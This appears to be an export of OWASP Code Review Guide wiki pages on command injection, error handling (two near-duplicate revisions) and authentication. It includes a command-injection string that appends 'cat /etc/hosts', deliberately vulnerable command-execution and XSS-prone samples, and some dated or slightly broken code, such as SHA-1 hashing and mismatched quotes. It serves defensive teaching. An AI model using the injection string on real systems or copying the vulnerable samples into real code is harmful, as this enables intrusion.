Most of the out-of-box source code/assembly analyzers would (and some wouldn't!) flag a ''Command Execution'' issue when they encounter the dangerous APIs; '''''System.Diagnostics.Process.Start''''', '''''java.lang.Runtime.exec'''''. However, obviously, the calculated risk should differ. In the first example, the "command injection" is there, whereas, in the second one without any validation nor escaping what can be called as "argument injection" vulnerability exists. The risk is still there, but the severity depends on the command being called. So, the issue needs analysis.

===UNIX===

An attacker might insert the string '''“; cat /etc/hosts”''' and the contents of the UNIX hosts file might be exposed to the attacker if the command is executed through a shell such as /bin/bash or /bin/sh.

===.NET Example===
namespace ExternalExecution
{
class CallExternal
{
static void Main(string[] args)
{
String arg1=args[0];
System.Diagnostics.Process.Start("doStuff.exe", arg1);
}
}
}

Yet again there is no data validation to speak of here, assuming that there is no upstream validation occurring in another class.

===Classic ASP Example===
<pre>
<%
option explicit
dim wshell
set wshell = CreateObject("WScript.Shell")
wshell.run "c:\file.bat " & Request.Form("Args")
set wshell = nothing
%>
</pre>

These attacks include calls to the operating system via system calls, the use of external programs via shell commands, as well as calls to backend databases via SQL (i.e. SQL injection). Complete scripts written in Perl, Python, shell, bat, and other languages can be injected into poorly designed web applications and executed.

==Good Patterns & procedures to prevent OS injection==

See the Data Validation section.

==Related Articles==
[[Command Injection]]

[[Interpreter Injection]]

[[Category:OWASP Code Review Project]]
[[Category:Input Validation]]

Codereview-Error-Handling

2009-05-05T12:11:40Z

KirstenS: /* Web.config */

[[OWASP Code Review Guide Table of Contents]]__TOC__
[[Category:OWASP Code Review Project]]

==Error Handling==
Error Handling is important in a number of ways. It may affect the state of the application, or leak system information to a user. The initial failure to cause the error may cause the application to traverse into an insecure state. Weak error handling also aids the attacker, as the errors returned may assist them in constructing correct attack vectors. A generic error page for most errors is recommended when developing code. This approach makes it more difficult for attackers to identify signatures of potentially successful attacks. There are methods which can circumvent systems with leading practice error handling semantics which should be kept in mind; Attacks such as blind SQL injection using booleanization or response time characteristics can be used to address such generic responses.

The other key area relating to error handling is the premise of "fail securely". Errors induced should not leave the application in an insecure state. Resources should be locked down and released, sessions terminated (if required), and calculations or business logic should be halted (depending on the type of error, of course).

An important aspect of secure application development is to prevent information leakage. Error messages give an attacker great insight into the inner workings of an application.

''The purpose of reviewing the Error Handling code is to assure that the application fails safely under all possible error conditions, expected and unexpected. No sensitive information is presented to the user when an error occurs. ''

For example, SQL injection is much tougher to successfully execute without some healthy error messages. It lessens the attack footprint, and an attacker would have to resort to using “blind SQL injection” which is more difficult and time consuming.

A well-planned error/exception handling strategy is important for three reasons:

# Good error handling does not give an attacker any information which is a means to an end, attacking the application
# A proper centralised error strategy is easier to maintain and reduces the chance of any uncaught errors “Bubbling up” to the front end of an application.
# Information leakage can lead to social engineering exploits.

Some development languages provide checked exceptions, which means that the compiler shall complain if an exception for a particular API call is not caught. Java and C# are good examples of this. Languages like C++ and C do not provide this safety net. Languages with checked exception handling still are prone to information leakage, as not all types of errors are checked for.

When an exception or error is thrown, we also need to log this occurrence. Sometimes this is due to bad development, but it can be the result of an attack or some other service your application relies on failing.

All code paths that can cause an exception to be thrown should check for success in order for the exception not to be thrown.

• To avoid a NullPointerException we should check if the object being accessed is not null.

===Error Handling Should Be Centralized if Possible===

When reviewing code it is recommended that you assess the commonality within the application from a error/exception handling perspective. Frameworks have error handling resources which can be exploited to assist in secure programming, and such resources within the framework should be reviewed to assess if the error handling is "wired-up" correctly.

* A generic error page should be used for all exceptions if possible.

This prevents the attacker from identifying internal responses to error states. This also makes it more difficult for automated tools to identify successful attacks.

'''Declarative Exception Handling'''

<exception key=”bank.error.nowonga”
path=”/NoWonga.jsp”
type=”mybank.account.NoCashException”/>

This could be found in the struts-config.xml file, a key file when reviewing the wired-up struts environment

===Java Servlets and JSP===

Specification can be done in web.xml in order to handle unhandled exceptions. When Unhandled exceptions occur, but are not caught in code, the user is forwarded to a generic error page:

<error-page>
<exception-type>UnhandledException</exception-type>
<location>GenericError.jsp</location>
</error-page>

Also in the case of HTTP 404 or HTTP 500 errors during the review you may find:

<error-page>
<error-code>500</error-code>
<location>GenericError.jsp</location>
</error-page>

===Failing Securely===
Types of errors:
*The result of business logic conditions not being met.
*The result of the environment wherein the business logic resides fails.
*The result of upstream or downstream systems upon which the application depends fail.
*Technical hardware / physical failure.

A failure is never expected, but they do occur. In the event of a failure, it is important not to leave the "doors" of the application open and the keys to other "rooms" within the application sitting on the table. In the course of a logical workflow, which is designed based upon requirements, errors may occur which can be programmatically handled, such as a connection pool not being available, or a downstream server not being contactable.

Such areas of failure should be examined during the course of the code review. It should be examined if all resources should be released in the case of a failure and during the thread of execution if there is any potential for resource leakage, resources being memory, connection pools, file handles etc.

The review of code should also include pinpointing areas where the user session should be terminated or invalidated. Sometimes errors may occur which do not make any logical sense from a business logic perspective or a technical standpoint;

e.g: "A logged in user looking to access an account which is not registered to that user and such data could not be inputted in the normal fashion."

Such conditions reflect possible malicious activity. Here we should review if the code is in any way defensive and kills the user’s session object and forwards the user to the login page. (Keep in mind that the session object should be examined upon every HTTP request).

===Information Burial===
Swallowing exceptions into an empty catch() block is not advised as an audit trail of the cause of the exception would be incomplete.

==Generic Error Messages==
We should use a localized description string in every exception, a friendly error reason such as “System Error – Please try again later”. When the user sees an error message, it will be derived from this description string of the exception that was thrown, and never from the exception class which may contain a stack trace, line number where the error occurred, class name, or method name.

Do not expose sensitive information in exception messages. Information such as paths on the local file system is considered privileged information; any internal system information should be hidden from the user. As mentioned before, an attacker could use this information to gather private user information from the application or components that make up the app.

Don’t put people’s names or any internal contact information in error messages. Don’t put any “human” information, which would lead to a level of familiarity and a social engineering exploit.

==How to Locate the Potentially Vulnerable Code==

===JAVA===
IIn Java we have the concept of an error object; the Exception object. This lives in the Java package java.lang and is derived from the Throwable object. Exceptions are thrown when an abnormal occurrence has occurred. Another object derived from Throwable is the Error object, which is thrown when something more serious occurs.

Information leakage can occur when developers use some exception methods, which ‘bubble’ to the user UI due to a poor error handling strategy. The methods are as follows:

printStackTrace() 
getStackTrace()

Also important to know is that the output of these methods is printed in System console, the same as System.out.println(e) where there is an Exception. Be sure to not redirect the outputStream to PrintWriter object of JSP, by convention called "out". Ex. printStackTrace(out);

Also another object to look at is the java.lang.system package:

setErr() and the System.err field.

===.NET===
In .NET a System.Exception object exists. Commonly used child objects such as ApplicationException and SystemException are used. It is not recommended that you throw or catch a SystemException this is thrown by runtime.

When an error occurs, either the system or the currently executing application reports it by throwing an exception containing information about the error, similar to Java. Once thrown, an exception is handled by the application or by the default exception handler. This Exception object contains similar methods to the Java implementation such as:

StackTrace 
Source 
Message 
HelpLink 

In .NET we need to look at the error handling strategy from the point of view of global error handling and the handling of unexpected errors. This can be done in many ways and this article is not an exhaustive list. Firstly, an Error Event is thrown when an unhandled exception is thrown.

This is part of the TemplateControl class.

http://msdn.microsoft.com/library/default.asp?url=/library/en-us/cpref/html/frlrfSystemWebUITemplateControlClassErrorTopic.asp

Error handling can be done in three ways in .NET

*In the web.config file's customErrors section.
*In the global.asax file's Application_Error sub.
*On the aspx or associated codebehind page in the Page_Error sub

The order of error handling events in .NET is as follows:
# On the Page in the Page_Error sub.
# The global.asax Application_Error sub
# The web.config file

It is recommended to look in these areas to understand the error strategy of the application.

===Classic ASP===
Unlike Java and .NET, classic ASP pages do not have structured error handling in try-catch blocks. Instead they have a specific object called "err". This make error handling in a classic ASP pages hard to do and prone to design errors on error handlers, causing race conditions and information leakage. Also, as ASP uses VBScript (a subtract of Visual Basic), sentences like "On Error GoTo label" are not available.

==Vulnerable Patterns for Error Handling==

===Page_Error===

Page_Error is page level handling which is run on the server side.
Below is an example but the error information is a little too informative and hence bad practice.

<script language="C#" runat="server">
Sub Page_Error(Source As Object, E As EventArgs)
Dim message As String = Request.Url.ToString()& Server.GetLastError().ToString()
Response.Write(message) // display message
End Sub
</script>

The text in the example above has a number of issues: Firstly, it redisplays the HTTP request to the user in the form of Request.Url.ToString() Assuming there has been no data validation prior to this point, we are vulnerable to cross site scripting attacks!! Secondly, the error message and stack trace is displayed to the user using Server.GetLastError().ToString() which divulges internal information regarding the application.

After the Page_Error is called, the Application_Error sub is called.

===Global.asax===

When an error occurs, the Application_Error sub is called. In this method we can log the error and redirect to another page.

<%@ Import Namespace="System.Diagnostics" %>
<script language="C#" runat="server">
void Application_Error(Object sender, EventArgs e) {
String Message = "\n\nURL: http://localhost/" + Request.Path
+ "\n\nMESSAGE:\n " + Server.GetLastError().Message
+ "\n\nSTACK TRACE:\n" + Server.GetLastError().StackTrace;
// Insert into Event Log
EventLog Log = new EventLog();
Log.Source = LogName;
Log.WriteEntry(Message, EventLogEntryType.Error);
Server.Redirect(Error.htm) // this shall also clear the error
}
</script>

Above is an example of code in Global.asax and the Application_Error method. The error is logged and then the user is redirected. Unvalidated parameters are being logged here in the form of Request.Path. Care must be taken not to log or redisplay unvalidated input from any external source.

===Web.config===
Web.config has custom error tags which can be used to handle errors. This is called last and if Page_error or Application_error is called and has functionality, that functionality shall be executed first. As long as the previous two handling mechanisms do not redirect or clear (Response.Redirect or a Server.ClearError), this will be called and you shall be forwarded to the page defined in web.config.

<customErrors defaultRedirect="error.html" mode="On|Off|RemoteOnly">
<error statusCode="statuscode" redirect="url"/>
</customErrors>

The “On" directive means that custom errors are enabled. If no defaultRedirect is specified, users see a generic error. The "Off" directive means that custom errors are disabled. This allows the displaying of detailed errors. "RemoteOnly" specifies that custom errors are shown only to remote clients, and ASP.NET errors are shown to the local host. This is the default.

<customErrors mode="On" defaultRedirect="error.html">
<error statusCode="500" redirect="err500.aspx"/>
<error statusCode="404" redirect="notHere.aspx"/>
<error statusCode="403" redirect="notAuthz.aspx"/>
</customErrors>

== Leading Practice for Error Handling ==

===Try & Catch (Java/ .NET)===
Code that might throw exceptions should be in a try block and code that handles exceptions in a catch block. The catch block is a series of statements beginning with the keyword catch, followed by an exception type and an action to be taken. These are very similar in Java and .NET

'''Example:'''

'''Java Try-Catch:'''

public class DoStuff {
public static void Main() {
try {
StreamReader sr = File.OpenText("stuff.txt");
Console.WriteLine("Reading line {0}", sr.ReadLine());
}
catch(Exception e) {
Console.WriteLine("An error occurred. Please leave to room”);
logerror(“Error: “, e);
}
}
}

'''.NET Try–Catch'''

public void run() {
while (!stop) {
try {

// Perform work here

} catch (Throwable t) {
// Log the exception and continue
WriteToUser(“An Error has occurred, put the kettle on”);
logger.log(Level.SEVERE, "Unexception exception", t);
}
}
}

In general, it is best practice to catch a specific type of exception rather than use the basic catch(Exception) or catch(Throwable) statement in the case of Java.

In classic ASP there are two ways to do error handling, the first is using the err object with an On Error Resume Next.

Public Function IsInteger (ByVal Number)
Dim Res, tNumber
Number = Trim(Number)
tNumber=Number
On Error Resume Next 'If an error occurs continue execution
Number = CInt(Number) 'if Number is a alphanumeric string a Type Mismatch error will occur
Res = (err.number = 0) 'If there are no errors then return true
On Error GoTo 0 'If an error occurs stop execution and display error
re.Pattern = "^[\+\-]? *\d+$" 'only one +/- and digits are allowed
IsInteger = re.Test(tNumber) And Res
End Function

The second is using an error handler on an error page (http://support.microsoft.com/kb/299981).

Dim ErrObj
set ErrObj = Server.GetLastError()
'Now use ErrObj as the regular err object

===Releasing resources and good housekeeping===
If the language in question has a finally method, use it. The finally method is guaranteed to always be called. The finally method can be used to release resources referenced by the method that threw the exception. This is very important. An example would be if a method gained a database connection from a pool of connections, and an exception occurred without finally, the connection object shall not be returned to the pool for some time (until the timeout). This can lead to pool exhaustion. finally() is called even if no exception is thrown.

try {
System.out.println("Entering try statement");
out = new PrintWriter(new FileWriter("OutFile.txt"));
//Do Stuff….

} catch (Exception e) {
System.err.println("Error occurred!”);

} catch (IOException e) {
System.err.println("Input exception ");

} finally {

if (out != null) {
out.close(); // RELEASE RESOURCES
}
}

A Java example showing finally() being used to release system resources.

===Classic ASP===
For Classic ASP pages it is recommended to enclose all cleaning in a function and call it into an error handling statement after an "On Error Resume Next".

===Centralised exception handling (Struts Example)===
Building an infrastructure for consistent error reporting proves more difficult than error handling. Struts provides the ActionMessages and ActionErrors classes for maintaining a stack of error messages to be reported, which can be used with JSP tags like <html: error> to display these error messages to the user.

To report a different severity of a message in a different manner (like error, warning, or information) the following tasks are required:

# Register, instantiate the errors under the appropriate severity
# Identify these messages and show them in a consistent manner.

Struts ActionErrors class makes error handling quite easy:

ActionErrors errors = new ActionErrors()
errors.add("fatal", new ActionError("...."));
errors.add("error", new ActionError("...."));
errors.add("warning", new ActionError("...."));
errors.add("information", new ActionError("...."));
saveErrors(request,errors); // Important to do this

Now that we have added the errors, we display them by using tags in the HTML page.

<logic:messagePresent property="error">
<html:messages property="error" id="errMsg" >
<bean:write name="errMsg"/>
</html:messages>
</logic:messagePresent >

===Classic ASP===
For classic ASP pages you need to do some IIS configuration, follow the same link for more information http://support.microsoft.com/kb/299981

[[Category:OWASP Code Review Project]]

Codereview-Error-Handling

2009-05-05T12:09:37Z

KirstenS: /* JAVA */

[[OWASP Code Review Guide Table of Contents]]__TOC__
[[Category:OWASP Code Review Project]]

==Error Handling==
Error Handling is important in a number of ways. It may affect the state of the application, or leak system information to a user. The initial failure to cause the error may cause the application to traverse into an insecure state. Weak error handling also aids the attacker, as the errors returned may assist them in constructing correct attack vectors. A generic error page for most errors is recommended when developing code. This approach makes it more difficult for attackers to identify signatures of potentially successful attacks. There are methods which can circumvent systems with leading practice error handling semantics which should be kept in mind; Attacks such as blind SQL injection using booleanization or response time characteristics can be used to address such generic responses.

The other key area relating to error handling is the premise of "fail securely". Errors induced should not leave the application in an insecure state. Resources should be locked down and released, sessions terminated (if required), and calculations or business logic should be halted (depending on the type of error, of course).

An important aspect of secure application development is to prevent information leakage. Error messages give an attacker great insight into the inner workings of an application.

''The purpose of reviewing the Error Handling code is to assure that the application fails safely under all possible error conditions, expected and unexpected. No sensitive information is presented to the user when an error occurs. ''

For example, SQL injection is much tougher to successfully execute without some healthy error messages. It lessens the attack footprint, and an attacker would have to resort to using “blind SQL injection” which is more difficult and time consuming.

A well-planned error/exception handling strategy is important for three reasons:

# Good error handling does not give an attacker any information which is a means to an end, attacking the application
# A proper centralised error strategy is easier to maintain and reduces the chance of any uncaught errors “Bubbling up” to the front end of an application.
# Information leakage can lead to social engineering exploits.

Some development languages provide checked exceptions, which means that the compiler shall complain if an exception for a particular API call is not caught. Java and C# are good examples of this. Languages like C++ and C do not provide this safety net. Languages with checked exception handling still are prone to information leakage, as not all types of errors are checked for.

When an exception or error is thrown, we also need to log this occurrence. Sometimes this is due to bad development, but it can be the result of an attack or some other service your application relies on failing.

All code paths that can cause an exception to be thrown should check for success in order for the exception not to be thrown.

• To avoid a NullPointerException we should check if the object being accessed is not null.

===Error Handling Should Be Centralized if Possible===

When reviewing code it is recommended that you assess the commonality within the application from a error/exception handling perspective. Frameworks have error handling resources which can be exploited to assist in secure programming, and such resources within the framework should be reviewed to assess if the error handling is "wired-up" correctly.

* A generic error page should be used for all exceptions if possible.

This prevents the attacker from identifying internal responses to error states. This also makes it more difficult for automated tools to identify successful attacks.

'''Declarative Exception Handling'''

<exception key=”bank.error.nowonga”
path=”/NoWonga.jsp”
type=”mybank.account.NoCashException”/>

This could be found in the struts-config.xml file, a key file when reviewing the wired-up struts environment

===Java Servlets and JSP===

Specification can be done in web.xml in order to handle unhandled exceptions. When Unhandled exceptions occur, but are not caught in code, the user is forwarded to a generic error page:

<error-page>
<exception-type>UnhandledException</exception-type>
<location>GenericError.jsp</location>
</error-page>

Also in the case of HTTP 404 or HTTP 500 errors during the review you may find:

<error-page>
<error-code>500</error-code>
<location>GenericError.jsp</location>
</error-page>

===Failing Securely===
Types of errors:
*The result of business logic conditions not being met.
*The result of the environment wherein the business logic resides fails.
*The result of upstream or downstream systems upon which the application depends fail.
*Technical hardware / physical failure.

A failure is never expected, but they do occur. In the event of a failure, it is important not to leave the "doors" of the application open and the keys to other "rooms" within the application sitting on the table. In the course of a logical workflow, which is designed based upon requirements, errors may occur which can be programmatically handled, such as a connection pool not being available, or a downstream server not being contactable.

Such areas of failure should be examined during the course of the code review. It should be examined if all resources should be released in the case of a failure and during the thread of execution if there is any potential for resource leakage, resources being memory, connection pools, file handles etc.

The review of code should also include pinpointing areas where the user session should be terminated or invalidated. Sometimes errors may occur which do not make any logical sense from a business logic perspective or a technical standpoint;

e.g: "A logged in user looking to access an account which is not registered to that user and such data could not be inputted in the normal fashion."

Such conditions reflect possible malicious activity. Here we should review if the code is in any way defensive and kills the user’s session object and forwards the user to the login page. (Keep in mind that the session object should be examined upon every HTTP request).

===Information Burial===
Swallowing exceptions into an empty catch() block is not advised as an audit trail of the cause of the exception would be incomplete.

==Generic Error Messages==
We should use a localized description string in every exception, a friendly error reason such as “System Error – Please try again later”. When the user sees an error message, it will be derived from this description string of the exception that was thrown, and never from the exception class which may contain a stack trace, line number where the error occurred, class name, or method name.

Do not expose sensitive information in exception messages. Information such as paths on the local file system is considered privileged information; any internal system information should be hidden from the user. As mentioned before, an attacker could use this information to gather private user information from the application or components that make up the app.

Don’t put people’s names or any internal contact information in error messages. Don’t put any “human” information, which would lead to a level of familiarity and a social engineering exploit.

==How to Locate the Potentially Vulnerable Code==

===JAVA===
IIn Java we have the concept of an error object; the Exception object. This lives in the Java package java.lang and is derived from the Throwable object. Exceptions are thrown when an abnormal occurrence has occurred. Another object derived from Throwable is the Error object, which is thrown when something more serious occurs.

Information leakage can occur when developers use some exception methods, which ‘bubble’ to the user UI due to a poor error handling strategy. The methods are as follows:

printStackTrace() 
getStackTrace()

Also important to know is that the output of these methods is printed in System console, the same as System.out.println(e) where there is an Exception. Be sure to not redirect the outputStream to PrintWriter object of JSP, by convention called "out". Ex. printStackTrace(out);

Also another object to look at is the java.lang.system package:

setErr() and the System.err field.

===.NET===
In .NET a System.Exception object exists. Commonly used child objects such as ApplicationException and SystemException are used. It is not recommended that you throw or catch a SystemException this is thrown by runtime.

When an error occurs, either the system or the currently executing application reports it by throwing an exception containing information about the error, similar to Java. Once thrown, an exception is handled by the application or by the default exception handler. This Exception object contains similar methods to the Java implementation such as:

StackTrace 
Source 
Message 
HelpLink 

In .NET we need to look at the error handling strategy from the point of view of global error handling and the handling of unexpected errors. This can be done in many ways and this article is not an exhaustive list. Firstly, an Error Event is thrown when an unhandled exception is thrown.

This is part of the TemplateControl class.

http://msdn.microsoft.com/library/default.asp?url=/library/en-us/cpref/html/frlrfSystemWebUITemplateControlClassErrorTopic.asp

Error handling can be done in three ways in .NET

*In the web.config file's customErrors section.
*In the global.asax file's Application_Error sub.
*On the aspx or associated codebehind page in the Page_Error sub

The order of error handling events in .NET is as follows:
# On the Page in the Page_Error sub.
# The global.asax Application_Error sub
# The web.config file

It is recommended to look in these areas to understand the error strategy of the application.

===Classic ASP===
Unlike Java and .NET, classic ASP pages do not have structured error handling in try-catch blocks. Instead they have a specific object called "err". This make error handling in a classic ASP pages hard to do and prone to design errors on error handlers, causing race conditions and information leakage. Also, as ASP uses VBScript (a subtract of Visual Basic), sentences like "On Error GoTo label" are not available.

==Vulnerable Patterns for Error Handling==

===Page_Error===

Page_Error is page level handling which is run on the server side.
Below is an example but the error information is a little too informative and hence bad practice.

<script language="C#" runat="server">
Sub Page_Error(Source As Object, E As EventArgs)
Dim message As String = Request.Url.ToString()& Server.GetLastError().ToString()
Response.Write(message) // display message
End Sub
</script>

The text in the example above has a number of issues: Firstly, it redisplays the HTTP request to the user in the form of Request.Url.ToString() Assuming there has been no data validation prior to this point, we are vulnerable to cross site scripting attacks!! Secondly, the error message and stack trace is displayed to the user using Server.GetLastError().ToString() which divulges internal information regarding the application.

After the Page_Error is called, the Application_Error sub is called.

===Global.asax===

When an error occurs, the Application_Error sub is called. In this method we can log the error and redirect to another page.

<%@ Import Namespace="System.Diagnostics" %>
<script language="C#" runat="server">
void Application_Error(Object sender, EventArgs e) {
String Message = "\n\nURL: http://localhost/" + Request.Path
+ "\n\nMESSAGE:\n " + Server.GetLastError().Message
+ "\n\nSTACK TRACE:\n" + Server.GetLastError().StackTrace;
// Insert into Event Log
EventLog Log = new EventLog();
Log.Source = LogName;
Log.WriteEntry(Message, EventLogEntryType.Error);
Server.Redirect(Error.htm) // this shall also clear the error
}
</script>

Above is an example of code in Global.asax and the Application_Error method. The error is logged and then the user is redirected. Unvalidated parameters are being logged here in the form of Request.Path. Care must be taken not to log or redisplay unvalidated input from any external source.

===Web.config===
Web.config has a custom error tags which can be used to handle errors. This is called last and if Page_error or Application_error is called and has functionality, that functionality shall be executed first. As long as the previous two handling mechanisms do not redirect or clear (Response.Redirect or a Server.ClearError), this will be called and you shall be forwarded to the page defined in web.config.

<customErrors defaultRedirect="error.html" mode="On|Off|RemoteOnly">
<error statusCode="statuscode" redirect="url"/>
</customErrors>

The “On" directive means that custom errors are enabled. If no defaultRedirect is specified, users see a generic error. The "Off" directive means that custom errors are disabled. This allows the displaying of detailed errors. "RemoteOnly" specifies that custom errors are shown only to remote clients, and ASP.NET errors are shown to the local host. This is the default.

<customErrors mode="On" defaultRedirect="error.html">
<error statusCode="500" redirect="err500.aspx"/>
<error statusCode="404" redirect="notHere.aspx"/>
<error statusCode="403" redirect="notAuthz.aspx"/>
</customErrors>

== Leading Practice for Error Handling ==

===Try & Catch (Java/ .NET)===
Code that might throw exceptions should be in a try block and code that handles exceptions in a catch block. The catch block is a series of statements beginning with the keyword catch, followed by an exception type and an action to be taken. These are very similar in Java and .NET

'''Example:'''

'''Java Try-Catch:'''

public class DoStuff {
public static void Main() {
try {
StreamReader sr = File.OpenText("stuff.txt");
Console.WriteLine("Reading line {0}", sr.ReadLine());
}
catch(Exception e) {
Console.WriteLine("An error occurred. Please leave to room”);
logerror(“Error: “, e);
}
}
}

'''.NET Try–Catch'''

public void run() {
while (!stop) {
try {

// Perform work here

} catch (Throwable t) {
// Log the exception and continue
WriteToUser(“An Error has occurred, put the kettle on”);
logger.log(Level.SEVERE, "Unexception exception", t);
}
}
}

In general, it is best practice to catch a specific type of exception rather than use the basic catch(Exception) or catch(Throwable) statement in the case of Java.

In classic ASP there are two ways to do error handling, the first is using the err object with an On Error Resume Next.

Public Function IsInteger (ByVal Number)
Dim Res, tNumber
Number = Trim(Number)
tNumber=Number
On Error Resume Next 'If an error occurs continue execution
Number = CInt(Number) 'if Number is a alphanumeric string a Type Mismatch error will occur
Res = (err.number = 0) 'If there are no errors then return true
On Error GoTo 0 'If an error occurs stop execution and display error
re.Pattern = "^[\+\-]? *\d+$" 'only one +/- and digits are allowed
IsInteger = re.Test(tNumber) And Res
End Function

The second is using an error handler on an error page (http://support.microsoft.com/kb/299981).

Dim ErrObj
set ErrObj = Server.GetLastError()
'Now use ErrObj as the regular err object

===Releasing resources and good housekeeping===
If the language in question has a finally method, use it. The finally method is guaranteed to always be called. The finally method can be used to release resources referenced by the method that threw the exception. This is very important. An example would be if a method gained a database connection from a pool of connections, and an exception occurred without finally, the connection object shall not be returned to the pool for some time (until the timeout). This can lead to pool exhaustion. finally() is called even if no exception is thrown.

try {
System.out.println("Entering try statement");
out = new PrintWriter(new FileWriter("OutFile.txt"));
//Do Stuff….

} catch (Exception e) {
System.err.println("Error occurred!”);

} catch (IOException e) {
System.err.println("Input exception ");

} finally {

if (out != null) {
out.close(); // RELEASE RESOURCES
}
}

A Java example showing finally() being used to release system resources.

===Classic ASP===
For Classic ASP pages it is recommended to enclose all cleaning in a function and call it into an error handling statement after an "On Error Resume Next".

===Centralised exception handling (Struts Example)===
Building an infrastructure for consistent error reporting proves more difficult than error handling. Struts provides the ActionMessages and ActionErrors classes for maintaining a stack of error messages to be reported, which can be used with JSP tags like <html: error> to display these error messages to the user.

To report a different severity of a message in a different manner (like error, warning, or information) the following tasks are required:

# Register, instantiate the errors under the appropriate severity
# Identify these messages and show them in a consistent manner.

Struts ActionErrors class makes error handling quite easy:

ActionErrors errors = new ActionErrors()
errors.add("fatal", new ActionError("...."));
errors.add("error", new ActionError("...."));
errors.add("warning", new ActionError("...."));
errors.add("information", new ActionError("...."));
saveErrors(request,errors); // Important to do this

Now that we have added the errors, we display them by using tags in the HTML page.

<logic:messagePresent property="error">
<html:messages property="error" id="errMsg" >
<bean:write name="errMsg"/>
</html:messages>
</logic:messagePresent >

===Classic ASP===
For classic ASP pages you need to do some IIS configuration, follow the same link for more information http://support.microsoft.com/kb/299981

[[Category:OWASP Code Review Project]]

Codereview-Authentication

2009-05-05T11:55:13Z

KirstenS: /* Vulnerabilities related to authentication */

[[OWASP Code Review Guide Table of Contents]]__TOC__
[[Category:OWASP Code Review Project]]

==Introduction==
“Who are you?” Authentication is the process where an entity proves the identity of another entity, typically through credentials, such as a username and password.

Depending on your requirements, there are several available authentication mechanisms to choose from. If they are not correctly chosen and implemented, the authentication mechanism can expose vulnerabilities that attackers can exploit to gain access to your system.

The storage of passwords and user credentials is an issue from a defense in depth approach, but also from a compliance standpoint. The following section also discusses password storage and what to review for.

The following discusses aspects of source code relating to weak authentication functionality. This could be due to flawed implementation or broken business logic: Authentication is a key line of defence in protecting non-public data, sensitive functionality.

===Weak Passwords and Password Functionality===
Password strength should be enforced upon a user setting/selecting a password. Passwords should be complex in composition. Such checks should be done on the backend/server side of the application upon an attempt to submit a new password.

====Bad Example====
Simply checking that a password is not NULL is not sufficient:

String password = request.getParameter("Password");
if (password == Null)
{throw InvalidPasswordException()
}

====Good Example====
Passwords should be checked for the following composition or a variance of such

* at least: 1 uppercase character (A-Z)
* at least: 1 lowercase character (a-z)
* at least: 1 digit (0-9)
* at least one special character (!"£$%&...)
* a defined minimum length (8 chars)
* a defined maximum length (as with all external input)
* no contiguous characters (123abcd)
* not more than 2 identical characters in a row (1111)

Such rules should be looked for in code and used as soon as the http request is received. The rules can be complex RegEx expressions or logical code statements:

if password.RegEx([a-z])
and password.RegEx([A-Z])
and password.RegEx([0-9])
and password.RegEx({8-30})
and password.RexEX([!"£$%^&*()])
return true;
else
return false;

A regular expression statement for code above:

(?=^.{8,30}$)(?=.*\d)(?=.*[a-z])(?=.*[A-Z])(?=.*[!@#$%^&*()_+}{"":;'?/>.<,]).*$

=== '''.NET Authentication controls''' ===
In the .NET, there is Authentication tags in the configuration file.

The <'''authentication'''> element configures the authentication mode that your applications use.

<'''authentication'''>

The appropriate authentication mode depends on how your application or Web
service has been designed. The default Machine.config setting applies a secure
Windows authentication default as shown below.

''' authentication Attributes:mode="[Windows|Forms|Passport|None]" '''

<authentication mode="Windows" />

''' Forms Authentication Guidelines '''
To use Forms authentication, set mode=“Forms” on the <authentication> element.
Next, configure Forms authentication using the child <forms> element. The
following fragment shows a secure <forms> authentication element configuration:

<authentication mode="Forms">
<forms loginUrl="Restricted\login.aspx" Login page in an SSL protected folder
protection="All" Privacy and integrity
requireSSL="true" Prevents cookie being sent over http
timeout="10" Limited session lifetime
name="AppNameCookie" Unique per-application name
path="/FormsAuth" and path
slidingExpiration="true" > Sliding session lifetime
</forms>
</authentication>

Use the following recommendations to improve Forms authentication security:
* Partition your Web site.
* Set protection=“All”.
* Use small cookie time-out values.
* Consider using a fixed expiration period.
* Use SSL with Forms authentication.
* If you do not use SSL, set slidingExpiration = “false”.
* Do not use the <credentials> element on production servers.
* Configure the <machineKey> element.
* Use unique cookie names and paths.

For classic ASP pages, authentication is usually performed manually by including the user information in session variables after validation against a DB, so you can look for something like:
Session ("UserId") = UserName
Session ("Roles") = UserRoles

====Cookieless Forms authentication====
Authentication tickets in forms are by default stored in cookies (Authentication tickets are used to remember if the user has authenticated to the system), such as a unique ID in the cookie of the HTTP header. Other methods to preserve authentication in the stateless HTTP protocol. The directive cookieless can define thet type of authentication ticket to be used.

Types of cookieless values on the <forms> element:

* UseCookies – specifies that cookie tickets will always be used.
* UseUri – indicates that cookie tickets will never be used.
* AutoDetect – cookie tickets are not used if device does not support such; if the device profile supports cookies, a probing function is used to determine if cookies are enabled.
* UseDeviceProfile – the default setting if not defined; uses cookie-based authentication tickets only if the device profile supports cookies. A probing function is not used.

cookieless="UseUri" : What may be found in the <forms> element above

When we talk about probing we are refering to the user agent directive in the HTTP header. This can inform ASP.NET is cookies are supported.

==Password Storage Strategy==
The storage of passwords is also of concern, as unauthorized access to an application may give rise to an attacker to access the area where passwords are stored.

Passwords should be stored using a one-way hash algorithm. One way functions (SHA-256 SHA-1 MD5, ..;) are also known as Hashing functions. Once passwords are persisted, there is no reason why they should be human-readable. The functionality for authentication performs a hash of the password passed by the user and compares it to the stored hash. If the passwords are identical, the hashes are equal.

Storing a hash of a password, which cannot be reversed, makes it more difficult to recover the plain text passwords. It also ensures that administration staff for an application does not have access to other users’ passwords, and hence helps mitigate the internal threat vector.

Example code in Java implementing SHA-1 hashing:

import java.security.MessageDigest;
public byte[] getHash(String password) throws NoSuchAlgorithmException {
MessageDigest digest = MessageDigest.getInstance("SHA-1");
digest.reset();
byte[] input = digest.digest(password.getBytes("UTF-8"));

'''Salting:'''
Storing simply hashed passwords has its issues, such as the possibility to identify two identical passwords (identical hashes) and also the [http://en.wikipedia.org/wiki/Birthday_paradox birthday attack]. A countermeasure for such issues is to introduce a salt. A salt is a random number of a fixed length. This salt must be different for each stored entry. It must be stored as clear text next to the hashed password:

import java.security.MessageDigest;
public byte[] getHash(String password, byte[] salt) throws NoSuchAlgorithmException {
MessageDigest digest = MessageDigest.getInstance("SHA-256");
digest.reset();
digest.update(salt);
return digest.digest(password.getBytes("UTF-8"));
}

===Vulnerabilities related to authentication ===

There are many issues relating to authentication which utilise form fields. Inadequate field validation can give rise to the following issues:

*[[Reviewing Code for SQL Injection]]
SQL injection can be used to bypass authentication functionality and even add a malicious user to a system for future use.
*[[Reviewing Code for Data Validation]]
Data validation of all external input must be performed. This also goes for authentication fields.
*[[Reviewing Code for Cross-site scripting]]
